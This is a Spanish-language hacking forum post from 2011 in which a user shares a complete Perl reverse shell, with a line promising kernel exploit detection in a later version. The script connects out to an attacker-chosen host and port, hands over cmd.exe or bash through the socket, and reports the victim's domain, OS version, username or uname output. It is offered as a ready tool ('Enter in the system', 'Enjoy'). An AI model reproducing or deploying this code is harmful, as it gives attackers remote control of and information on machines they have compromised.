elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 09:19  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Perl] Reverse Shell By Doddy
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Reverse Shell By Doddy  (Leído 230 veces)
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
[Perl] Reverse Shell By Doddy
« en: 8 Octubre 2011, 16:55 »

 Hola a todos.

Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat
despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script.
En la version 0.2 le agregare deteccion de kernel y su posible exploit.

Código
#!usr/bin/perl
#Reverse Shell 0.1
#By Doddy H
 
use IO::Socket;
 
print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
 
unless (@ARGV == 2) {
print "[Sintax] : $0 <host> <port>\n\n";
exit(1);
} else {
print "[+] Starting the connection\n";
print "[+] Enter in the system\n";
print "[+] Enjoy !!!\n\n";
conectar($ARGV[0],$ARGV[1]);
tipo();
}
 
sub conectar {
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
}
 
sub tipo {
print "\n[*] Reverse Shell Starting...\n\n";
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
#root();  
system("bin/bash");
}
}
 
sub infowin {
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n\n";
}
 
sub infolinux {
print "[+] System information\n\n";
system("uname -a");
}
 
#The End
 
 


« Última modificación: 8 Octubre 2011, 19:10 por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Reverse Shell en Perl
Hacking Avanzado
EvilGoblin 1 1,588 Último mensaje 27 Noviembre 2006, 18:07
por EvilGoblin
[Perl] Terr0r B0t By Doddy H
Scripting
Doddy 0 226 Último mensaje 7 Octubre 2011, 15:55
por Doddy
[Perl] Stalker By Doddy H
Scripting
Doddy 2 498 Último mensaje 19 Octubre 2011, 22:47
por Doddy
[Perl] Pass Cracker By Doddy H
Scripting
Doddy 0 119 Último mensaje 8 Octubre 2011, 16:56
por Doddy
[Perl] Paranoic Scan By Doddy H
Scripting
Doddy 0 213 Último mensaje 8 Octubre 2011, 16:56
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines